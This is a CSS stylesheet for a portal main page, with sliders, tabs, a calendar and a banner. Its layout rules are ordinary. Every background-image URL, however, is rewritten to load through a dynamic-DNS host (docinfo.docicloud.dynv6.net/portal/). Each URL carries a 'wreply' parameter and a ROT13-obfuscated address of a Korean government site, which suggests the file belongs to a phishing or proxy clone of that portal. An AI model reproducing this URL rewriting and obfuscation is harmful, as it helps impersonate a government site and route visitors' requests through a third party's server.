@charset "utf-8";

.fullpage {font-size: 18px;}
.fullpage::-webkit-scrollbar {display: none;width: 0;}
.fullpage::-webkit-scrollbar-thumb {display: none;}
.main .br {display: block;}
a:hover, a:active, a:focus{text-decoration: none}

.sec {width: 100%;height: 100vh;overflow-x: hidden;}
.sec .dv_wrap {margin: auto;height: fit-content;display: flex;align-items: center;justify-content: center;padding-top: 140px;}
.sec h3.tit {font-family: 'Tenada', sans-serif;font-size: 2.66rem;color: #121212;margin: 0;line-height: normal;}
.sec h3.tit span {color: #3b73f7;}

.sidebar {position: fixed;top: 50%;left: 00px;transform: translateY(-50%);}
.dot {width: 10px;height: 10px;background-color: #000655;margin: 90px;border-radius: 50%;display: block;position: relative;}
.dot:not(:last-child)::after {content: '';display: block;width: 1px;height: 95px;background: #000655;opacity: .2;position: absolute;left: 50%;transform: translateX(-50%);top: 10px;}
.dot.active::before {content: '';display: block;width: 30px;height: 30px;border-radius: 50%;background: #000655;opacity: .2;top: 0;bottom: 0;margin: auto;left: 50%;transform: translateX(-50%);position: absolute;z-index: -1;}

@media all and (max-width:1600px){
    .dot {margin-left: 20px;}
    .sec .dv_wrap {padding-top: 110px;max-width: 90%;}
}
@media all and (max-width:1300px){
    .sidebar {display: none;}
    .fullpage::-webkit-scrollbar {display: block;width: 15px;}
    .fullpage::-webkit-scrollbar-thumb {background: #ddd;border-radius: 50px;}
    .sec {height: auto;overflow: hidden;}
    .sec .dv_wrap {padding: 60px 0;}
}
@media all and (max-width:768px){
    .sec h3.tit {font-size: 2rem;}
}

/* sec01 */
.sec01  {background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Soneb.tlrbatanz.tb.xe%2Soneb%2Spff%2Soneb%2S..%2Svzntrf%2Sznva%2Szivf.wct);position: relative;background-size: cover;}
.sec01 .dv_wrap {width: 100%;max-width: 100%;flex-direction: row;padding-top: 0px;height: 100%;}
.sec01 .txt_wrap {margin-left: 12.5%;width: auto;}
.sec01 .txt_wrap h2 {font-family: 'esamanru', sans-serif;font-size: 4.2rem;color: #121212;line-height: 1;margin: 35px 0 30px;}
.sec01 .txt_wrap [class*='_img'] {display: block;background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Soneb.tlrbatanz.tb.xe%2Soneb%2Spff%2Soneb%2S..%2Svzntrf%2Sznva%2Sznva_fce.cat);}
.sec01 .txt_wrap .tit_img {width: 270px;height: 38px;background-position-x: -202px;}
.sec01 .txt_wrap ul {display: flex;}
.sec01 .txt_wrap ul li {font-family: 'esamanru', sans-serif;color: #ffda45;font-size: 1.2rem;background: #362fcb;display: flex;font-weight: 300;padding: 11px 21px;border-radius: 30px;line-height: 1;position: relative;}
.sec01 .txt_wrap ul li:not(:last-child) {margin-right: 6px;}
.sec01 .txt_wrap ul li::before,
.sec01 .txt_wrap ul li::after {content: '';display: block;position: absolute;left: 0;right: 0;margin: auto;}
.sec01 .txt_wrap ul li::before {width: 21px;height: 21px;border-radius: 50%;background: #21ebd4;top: -15px;}
.sec01 .txt_wrap ul li::after {width: 9px;height: 6px;border: 2px solid #fff;border-top: 0;border-right: 0;transform: rotate(-45deg);top: -11px;}
.sec01 .txt_wrap .small_img {width: 31px;height: 22px;background-position: -249px -283px;margin-left: 8px;}

.mslide_wrapper {width: 59%;margin: -10px 0 -10px auto;position: relative;}
.mslide .swiper-wrapper {padding: 10px 0;}
.mslide .swiper-slide {border-radius: 35px;}
.mslide .swiper-slide a {display: block;border-radius: 35px;overflow: hidden;transition: box-shadow .3s;position: relative;}
.mslide .swiper-slide a:hover {box-shadow: 0px 0px 10px #595959;}
.mslide .swiper-slide-next {margin-top: 40px;width: 33.2%;}
.mslide .swiper-slide-next a {box-shadow: 0px 5px 10px #595959;}
.mslide .swiper-slide-prev {opacity: 0;}
.mslide .swiper-slide:not(.swiper-slide-next) {width: 31.2%;}
.mslide .swiper-slide-fully-visible:not(.swiper-slide-next, .swiper-slide-active) {margin-top: 85px;}

.mslide .cont {color: #fff;display: flex;flex-direction: column;align-items: center;text-align: center;padding: 45px 53px 15px;min-height: 64px;}
.mslide .cont .cate {border: 1px solid #fff;border-radius: 20px;padding: 8px 25px;font-size: .9rem;line-height: initial;}
.mslide .cont .tit {font-size: 1.7rem;margin: 21px 0 14px;line-height: 1.2;word-break: keep-all;/* border-bottom: 1px solid #fff; */padding-bottom: 14px;min-height: 85px;display: flex;align-items: center;}
.mslide .cont .date {font-size: .9rem}
.mslide .swiper-slide:not(.swiper-slide-next) .cont {padding: 30px 30px 10px;}
.mslide .swiper-slide:not(.swiper-slide-next) .cont .cate {font-size: .8rem;}
.mslide .swiper-slide:not(.swiper-slide-next) .cont .tit {font-size: 1.45rem;padding: 0 10px 14px;}
.mslide .swiper-slide:not(.swiper-slide-next) .cont .date {font-size: .7rem;}
.mslide .img {position: relative;display: block;}
.mslide .img::before {content: '';display: block;width: 0;padding-top: 76.437%;}
.mslide .img img{mask-image: linear-gradient(to bottom, transparent 5%, black 25%);-webkit-mask-image: linear-gradient(to bottom, transparent 2%, black 25%);object-fit: none;position: absolute;width: 100%;height: 100%;top: 0;left: 0;object-fit: cover;}
.mslide .full-img .img {position: static;}
.mslide .full-img .img:before {/* padding-top: 100%; */}
.mslide .full-img .img img {position: absolute;mask-image: none;z-index: -1;}
.mslide_ctrl {position: absolute;top: 0;bottom: 0;display: flex;align-items: center;width: 100%;justify-content: space-between;}
.mslide_ctrl button {width: 35px;height: 35px;position: relative;z-index: 1;border: none;background: none;}
.mslide_ctrl button::after {content: '';display: block;position: absolute;top: 0;left: 0;right: 0;bottom: 0;margin: auto;border-width: 2px;border-style: solid;border-color: transparent #fff #fff transparent;box-sizing: border-box;width: 100%;height: 100%;transform: rotate(135deg);}
.mslide_ctrl .prev_btn {display: none;}

.mrolling_wrapper {position: absolute;bottom: 0;left: 0;background-color: #362fcb;width: 100%;display: flex;}
.mrolling.swiper {overflow: visible;width: calc(100% - 276px);}
.mrolling_wrapper .swiper-wrapper {align-items: center;}
.mrolling_wrapper .swiper-slide {width: auto;transition: transform .3s;}
.mrolling_wrapper .swiper-slide a {display: flex;align-items: center;color: #fff;padding: 15px;font-size: 1.34rem;background: #362fcb;border-radius: 30px;}
.mrolling_wrapper .swiper-slide .tit {margin-right: 10px;}
.mrolling_wrapper .swiper-slide-active {transform: translateY(-20px);}
.mrolling_wrapper .swiper-slide:hover {transform: translateY(-20px);}
.mrolling-ctrl {display: flex;z-index: 2;gap: 8px;align-items: center;padding: 0px 60px 0 80px;background: #362fcb;}
.mrolling-ctrl [class*="btn-"]:not([class^="btn-play"]) { display: flex; } 
.mrolling-ctrl [class*="btn-"][disabled] { cursor: default; } 
.mrolling-ctrl [class*="btn-"] { position: relative; align-items: center; justify-content: center; width: 40px; height: 40px; transition: all .3s; background: none; margin-left: 0px; border: 1px solid #fff; border-radius: 50%} 
.mrolling-ctrl [class*="btn-"]::before { content: ''; display:block; box-sizing: border-box; } 
.mrolling-ctrl .btn-stop::before {border-left: 2px solid #fff;border-right: 2px solid #fff;width: 12px;height: 14px;} 
.mrolling-ctrl .btn-play { display: none; } 
.mrolling-ctrl .btn-play::before { border-width: 7px 0 7px 9px; border-style: solid; border-color: transparent transparent transparent #fff; width: 0; height: 0; } 
.mrolling-ctrl .btn-prev::before,
.mrolling-ctrl .btn-next::before {width: 12px;height: 12px;border-width: 2px;border-style: solid;border-color: transparent #fff #fff transparent;transition: all .3s;} 
.mrolling-ctrl .btn-prev::before { transform: translateX(3px) rotate(135deg); } 
.mrolling-ctrl .btn-next::before { transform: translateX(-3px) rotate(-45deg); } 

@media all and (max-width:1600px){
    .sec01 .txt_wrap {margin-left: 90px;}
    .mslide .cont,
    .mslide .swiper-slide:not(.swiper-slide-next) .cont {padding: 20px 20px 10px;}
}
@media all and (max-width:1300px){
    .sec01 .dv_wrap {padding: 50px 0 70px;flex-direction: column;max-width: 90%;}
    .sec01 .txt_wrap {margin: 0 0 40px;width: 100%;display: flex;align-items: center;flex-direction: column;}
    .sec01 .txt_wrap h2 {font-size: 3.2rem;margin: 25px 0;}
    .mslide_wrapper {width: 100%;}
 
    .mslide .cont .tit {font-size: 1.45rem;margin: 15px 0 10px;}
    .mslide .cont .date {font-size: .7rem;}
    .mslide .swiper-slide-active {box-shadow: 0px 5px 10px #595959;}
    .mslide .swiper-slide-next {box-shadow: none;}
    .mslide .swiper-slide:not(.swiper-slide-next) .cont .tit {padding: 0 0 10px;}
    .mslide .swiper-slide-next,
    .mslide .swiper-slide-fully-visible:not(.swiper-slide-next, .swiper-slide-active) {margin-top: 0px;}
    .mslide .swiper-slide-prev {opacity: 1;}
    .mslide .swiper-slide:not(.swiper-slide-visible) {opacity: 0;}
    .mslide_ctrl .next_btn::after {transform: rotate(-45deg);}
    .mslide_ctrl .prev_btn {display: block;}

    .mrolling_wrapper {position: inherit;}
    .mrolling_wrapper .swiper-slide a {font-size: 1.2rem;}
    .mrolling.swiper {width: calc(100% - 196px)}
    .mrolling-ctrl{padding: 0 30px;}
}
@media all and (max-width:1199px){
.mrolling_wrapper {flex-direction: column-reverse;}
    .mrolling.swiper {width: 100%}
        .mrolling-ctrl {justify-content: center;padding: 0 0 20px;margin-top: -20px}
}

@media all and (max-width:768px){
    .mslide_wrapper {margin: -10px auto;}
    .mslide .img::before {padding-top: 65%;}
    .mslide .cont .tit {min-height: 108px;}
    .mslide_ctrl button {margin: 0 -15px;width: 30px;height: 30px;}
    .mrolling_wrapper .swiper-slide a {font-size: 1rem;padding: 10px;}
}
@media all and (max-width:640px){
    .sec01 .txt_wrap .tit_img {background-size: 468px;width: 195px;height: 28px;background-position-x: -145px;}
    .sec01 .txt_wrap h2 {font-size: 1.9rem;margin: 15px 0 20px;}
    .sec01 .txt_wrap ul li {font-size: .9rem;padding: 9px 11px;}
    .sec01 .txt_wrap .small_img {background-size: 570px;margin-left: 5px;background-position: -219px -249px;height: 19px;}
    .mslide_wrapper {width: 85%;}
    .mslide .cont .tit {min-height: auto;}
    .mslide .cont .tit,
    .mslide .swiper-slide:not(.swiper-slide-next) .cont .tit {font-size: 1.3rem;}
    .mslide_ctrl button {margin: 0 -25px;width: 20px;height: 20px;}
    .mrolling_wrapper .swiper-slide-active {top: -10px;}
    .mrolling_wrapper .swiper-slide a {padding-bottom: 0;}
    .mrolling_wrapper .swiper-slide .tit {font-size: .8rem}
}


/* sec02 */
.sec02  {background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Soneb.tlrbatanz.tb.xe%2Soneb%2Spff%2Soneb%2S..%2Svzntrf%2Sznva%2Sfrp02_ot.cat);position: relative;background-size: cover;font-family: 'esamanru', sans-serif;}
.sec02 .dv_wrap {flex-direction: column;}
.tablist {display: flex;justify-content: center;margin-top: 33px;}
.tablist li a {display: block;color: #000;padding-bottom: 12px;line-height: 1;font-weight: 1;font-size: 1.35rem;margin: 0 23px;transition: color .2s;}
.tablist li a.active {color: #3b73f7;border-bottom: 1px solid #3b73f7;}
.tablist li a:hover {color: #3b73f7;}

.tslide_wrapper {max-width: 1400px;position: relative;margin: 30px 0 20px;}
.tslide_wrapper .swiper-wrapper {padding: 50px 0;}
.tslide_wrapper .swiper-slide {border-radius: 20px;overflow: hidden;width: 17.2%;box-shadow: 0px 5px 10px #b5b8be;}
.tslide_wrapper .swiper-slide-active {top: -30px;transform: scaleX(1.1) !important;}
.tslide_wrapper .swiper-slide a {display: flex;align-items: center;justify-content: center;flex-direction: column; background: #7d4feb url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Soneb.tlrbatanz.tb.xe%2Soneb%2Spff%2Soneb%2S..%2Svzntrf%2Sznva%2Sabvfl-onpxtebhaq.cat);color: #fff;padding: 50px 25px 76px;background-size: cover;background-blend-mode: multiply;transition: all .3s;}
.tslide_wrapper .swiper-slide a:hover{transform: scale(1.1)}

.tslide_wrapper .cate {border: 1px solid #fff;font-size: 1.45rem;border-radius: 30px;padding: 8px 10px;min-width: 125px;text-align: center;}
.tslide_wrapper img {display: block;margin: 40px 0;height: 70px;}
.tslide_wrapper .desc {font-size: .8rem;line-height: 1.1;font-weight: 100;padding: 0 15px;}

[class*='tslide_ctrl'] {position: absolute;display: flex;justify-content: space-between;align-items: center;width: 100%;top: 0;bottom: 0;margin: auto;}
[class*='tslide_ctrl'] button {display: block;width: 75px;height: 75px;background: #fff; border-radius: 50%;position: relative;margin: 0 -30px;box-shadow: 0px 0px 10px #636363;z-index: 1;}
[class*='tslide_ctrl'] button::before {content: '';display: block;position: absolute;top: 0;left: 0;right: 0;bottom: 0;margin: auto;border-width: 3px;border-style: solid;border-color: transparent #000 #000 transparent;box-sizing: border-box;width: 19px;height: 19px;border-radius: 4px;}
[class*='tslide_ctrl'] .next_btn::before {transform: rotate(-45deg) translate(-3px, -3px);}
[class*='tslide_ctrl'] .prev_btn::before {transform: rotate(135deg) translate(-3px, -3px);}
.tslide_ctrl2 {display: none;}

.search_box {width: 675px;margin: 0 auto;border-bottom: 1px solid #9a9da2;}
.search_box fieldset {display: flex;align-items: center;}
.search_box input[type="text"] {background: none;border: none;padding: 0;width: calc(100% - 30px);height: 50px;font-family: 'esamanru', sans-serif;font-size: 1rem;color: #121212;}
.search_box input[type="text"]::placeholder {font-family: 'esamanru', sans-serif;font-size: 1rem;color: #9d9fa4;}
.search_btn {background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Soneb.tlrbatanz.tb.xe%2Soneb%2Spff%2Soneb%2S..%2Svzntrf%2Sznva%2Sznva_fce.cat);width: 40px;height: 40px;background-position-x: -1908px;margin-left: auto;}

@media all and (max-width:1600px){
    .tab_wrapper {width: 100%;}
    .tslide_wrapper .cate {font-size: 1.3rem;}
    .tslide_wrapper .swiper-slide a {padding: 40px 20px;}
}
@media all and (max-width:1300px){
    .tslide_wrapper .swiper-slide {width: 30%;}
    .tslide_ctrl2 {display: flex;}
}
@media all and (max-width:768px){
    .tablist {margin-top: 20px;}
    .search_box {width: 90%;}
}
@media all and (max-width:640px){
    .tablist li a {font-size: 1rem;margin: 0 14px;padding-bottom: 7px;}
    .tslide_wrapper {margin: 0;}
    .tslide_wrapper .swiper-slide {width: 50%;}
    .tslide_wrapper .swiper-slide-active {top: 0;transform: scaleX(1) !important;}
    .tslide_wrapper .swiper-slide a {min-height: 309px;}
    .tslide_wrapper .cate {font-size: 1.1rem;min-width: 115px;padding: 2px 10px;}
    [class*='tslide_ctrl'] button {width: 50px;height: 50px;margin: 0 -15px;}
    .search_btn {background-size: 490px;width: 29px;height: 29px;background-position-x: -1934px;}
}
@media all and (max-width:480px){
    .tslide_wrapper .swiper-slide {width: 70%;}
}

/* sec03 */
.sec03  {background: #fff url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Soneb.tlrbatanz.tb.xe%2Soneb%2Spff%2Soneb%2S..%2Svzntrf%2Sznva%2Sfrp03_ot.cat);position: relative;background-size: cover;}
.sec03 .dv_wrap {align-items: inherit;}
.sec03 h3.tit {font-size: 2rem;margin-bottom: 35px;position: relative;}
.cal_wrap {width: 34.072%;display: flex;flex-direction: column;}
.cal {height: 100%;}
.cal_month {background: #edf0f5;border: 1px solid #e8e9ed;border-radius: 10px;padding: 14px 25px;text-align: center;position: relative;}
.cal_month p{color: #444442;font-family: 'esamanru', sans-serif;font-size: 1.34rem;font-weight: 500;}
.cal_month a {display: block;width: 20px;height: 20px;position: relative;margin: 0 10px;}
.cal_crtl {display: flex;align-items: center;position: absolute;right: 25px;top: 0;bottom: 0;}
.cal_crtl a::before {content: '';display: block;border-width: 1px;border-style: solid;border-color: transparent #000 #000 transparent;box-sizing: border-box;width: 9px;height: 9px;position: absolute;top: 0;bottom: 0;left: 0;right: 0;margin: auto;}
.cal_crtl .next_month::before {transform: rotate(-45deg);}
.cal_crtl .prev_month::before {transform: rotate(135deg);}
.calendar_table {border-radius: 10px;box-shadow: 0 0 5px #ddd;margin-top: 9px;padding: 14px;min-height: 346px;}
.calendar_table th, 
.calendar_table td {width: 65px;height: 53px;margin: 0 10px;text-align: center;}
.calendar_table td.cal_empty {height: 0;}
.calendar_table th p, 
.calendar_table td p {border-radius: 50%;width: 45px;height: 45px;margin: auto;transition: all .3s;line-height: 45px;}
.calendar_table th p {background: #edf0f5;}
.calendar_table .last_month p {color: #c0c4c3;}
.calendar_table .th_sat p {color: #3b73f7;}
.calendar_table .th_sun p {color: #e80707;}
.calendar_table .today p {background: #3a73f8;color: #fff;}
.calendar_table a.date:not(.today):hover p {background: #3b73f728;}
.app_list_wrap {width: 64.286%;display: flex;flex-direction: column;margin-left: auto;}
.app_list {border-radius: 10px;background: #edf0f5;height: 100%;padding: 37px;} 
.app_list_top {border-bottom: 2px solid #3b73f7;padding-bottom: 24px;margin-bottom: 40px;display: flex;align-items: center;min-height: 65px;}
.app_list_top p {position: relative;padding-left: 33px;font-weight: 500;}
.app_list_top p::before,
.app_list_top p::after {content: '';display: block;position: absolute;left: 0;top:2px;bottom: 0;}
.app_list_top p::before {width: 21px;height: 21px;border-radius: 50%;background: #0081fe;}
.app_list_top p::after {width: 9px;height: 6px;border: 2px solid #fff;border-top: 0;border-right: 0;transform: rotate(-45deg);top: 6px;left: 5px;}
.app_list_top p > a {color: #e80707;border-bottom: 1px solid;}
.app_list_top .more_btn {display: block;margin-left: auto;}
.app_list_top .more_btn span {position: relative;color: #fff;background: #3b73f7;border-radius: 30px;display: block;transition: all .3s;padding: 5px 30px 5px 10px;font-size: .9rem;}
.app_list_top .more_btn span::before,
.app_list_top .more_btn span::after {content: '';display: block;background: #fff;width: 2px;height: 12px;position: absolute;top: -1px;right: 14px;bottom: 0;margin: auto;transition: .35s;}
.app_list_top .more_btn span::after {transform: rotate(90deg);}
.app_list_top .more_btn:hover span {box-shadow: 0px 2px 10px #0238b669;}
.app_list ul {margin-right: -20px;padding-right: 20px;max-height: 240px;overflow-y: auto;height: 100%;}
.app_list ul::-webkit-scrollbar {width: 7px;background: #ccd0d6;border-radius: 10px;}
.app_list ul::-webkit-scrollbar-thumb {background: #3b73f7;border-radius: 10px;}
.app_list ul li a {font-size: 1.12rem;display: grid;grid-template-columns: .15fr auto;font-weight: 500;}
.app_list ul li:not(:last-child) a {border-bottom: 1px dashed #97989b;padding-bottom: 10px;margin-bottom: 20px;}
.app_list ul li a .cate {grid-column: 1;color: #0081fe;min-width: 160px;max-width: 160px;}
.app_list ul li a .tit {grid-column: 2;white-space: nowrap;text-overflow: ellipsis;overflow: hidden;}
.app_list ul li a .date {grid-column: 2;font-size: .67rem;}
.app_list ul li a:hover .tit {text-decoration: underline;}
.app_list ul li.no_list {height: 100%;display: flex;align-items: center;justify-content: center;}

.b_banner {position: absolute;bottom: 0;width: 100%;background: #f3f9fa;display: flex;align-items: center;justify-content: center;padding: 25px 20px 0;border-radius: 100px 100px 0 0;}
.b_banner::before {content: '';display: block;background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Soneb.tlrbatanz.tb.xe%2Soneb%2Spff%2Soneb%2S..%2Svzntrf%2Sznva%2Sznva_fce.cat);width: 213px;height: 179px;background-position: -435px -55px;}
.b_banner p {background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Soneb.tlrbatanz.tb.xe%2Soneb%2Spff%2Soneb%2S..%2Svzntrf%2Sznva%2Sznva_fce.cat);width: 435px;height: 100px;background-position-y: -82px;margin: 0 76px 0 146px;}
.b_banner ul li {font-size: 1.2rem;display: flex;font-weight: 300;padding: 11px 21px;line-height: 1;position: relative;align-items: center;color: #444;font-weight: 500;}
.b_banner ul li::before {content: '';display: block;position: absolute;left: 0;right: 0;bottom: 10px;margin: auto;width: 80%;height: 14px;background: #d8d4f2;}
.b_banner ul li::after {content: '';display: block;background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Soneb.tlrbatanz.tb.xe%2Soneb%2Spff%2Soneb%2S..%2Svzntrf%2Sznva%2Sznva_fce.cat);width: 41px;height: 29px;background-position: -200px -283px;margin-left: 8px;z-index: 1;}
.b_banner ul li span {z-index: 1;}
.b_banner a {display: flex;align-items: center;line-height: 1;background: #3b73f7;color: #fff;font-family: 'esamanru', sans-serif;border-radius: 20px;padding: 3% 1.5%;margin-left: 252px;}
.b_banner a:hover {text-decoration: underline;}
.b_banner a::after {content:'';display: block;border-width: 1px;border-style: solid;border-color: transparent #fff #fff transparent;box-sizing: border-box;width: 9px;height: 9px;transform: rotate(-45deg);margin-left: 9px;}


@media all and (max-width:1600px){
    .b_banner {padding: 0 50px;}
    .b_banner p {margin: 0 auto;}
    .b_banner a {margin-left: auto;}
}
@media all and (max-width:1300px){
    .cal_wrap {width: 42%;}
    .app_list_wrap {width: 56%;}
    .b_banner {position: inherit;border-radius: 50px 50px 0 0;}
    .b_banner::before {background-size: 448px;width: 152px;height: 127px;background-position: -296px -35px;}
    .b_banner p {background-size: 448px;width: 298px;height: 70px;background-position-y: -57px;}

}
@media all and (max-width:1024px){
    .sec03 .dv_wrap {flex-direction: column;}
    .sec03 h3.tit {margin-bottom: 20px;}
    .cal_wrap, 
    .app_list_wrap {width: 100%;}
    .app_list_top {min-height: auto;}
    .cal_wrap {margin-bottom: 60px;}
    .calendar_table {min-height: auto;}
    .calendar_table table {margin: auto;}
    .b_banner {padding: 15px 50px;}
    .b_banner p {margin: 0 auto 0 0;}
    .b_banner::before {display: none;}
    .b_banner ul li {font-size: 1rem;padding: 5px 10px;width: fit-content;margin: auto;}
}
@media all and (max-width:640px){
    .sec h3.tit,
    .sec03 h3.tit {font-size: 1.3rem;}
    .cal_month {padding: 10px;}
    .cal_month p {font-size: 1.1rem;line-height: 1;}
    .app_list {padding: 20px;}
    .app_list_top {padding-bottom: 5px;margin-bottom: 10px;font-size: .9rem;}
    .app_list_top .more_btn span {font-size: .8rem;padding: 2px 30px 2px 10px;border-radius: 10px;}
    .app_list ul li a {display: flex;flex-direction: column;font-size: 1rem;}
    .b_banner {display: grid;padding: 15px;grid-template-columns: 1fr 1.5fr;gap: 15px;}
    .b_banner p {background-size: 334px;width: 224px;height: 59px;background-position-y: -38px;grid-column: 1 / 3;margin: 0 auto;}
    .b_banner ul {grid-column: 1;}
    .b_banner a {grid-column: 2;width: 100%;height: 80%;justify-content: center;}
}
@media all and (max-width:480px){
    .calendar_table th p, .calendar_table td p {width: 35px;height: 35px;line-height: 35px;font-size: .8rem;}
    .app_list ul li a {display: flex;flex-direction: column;}
    .app_list ul li:not(:last-child) a {padding-bottom: 5px;margin-bottom: 8px}
    .app_list_top .more_btn {margin-left: 10px;min-width: 81px;}
    .calendar_table th, .calendar_table td { height: 45px;}
    .app_list ul li a .tit {font-size: .9rem}
    .app_list ul li a .cate {font-size: .8rem;line-height: 1.2;}
    .app_list_top p {padding-left: 25px}
    .app_list_top p::before {width: 17px;height: 17px;top: 5px;}
    .app_list_top p::after {width: 6px;height: 5px;border-width: 1px;top: 9px;}
    
}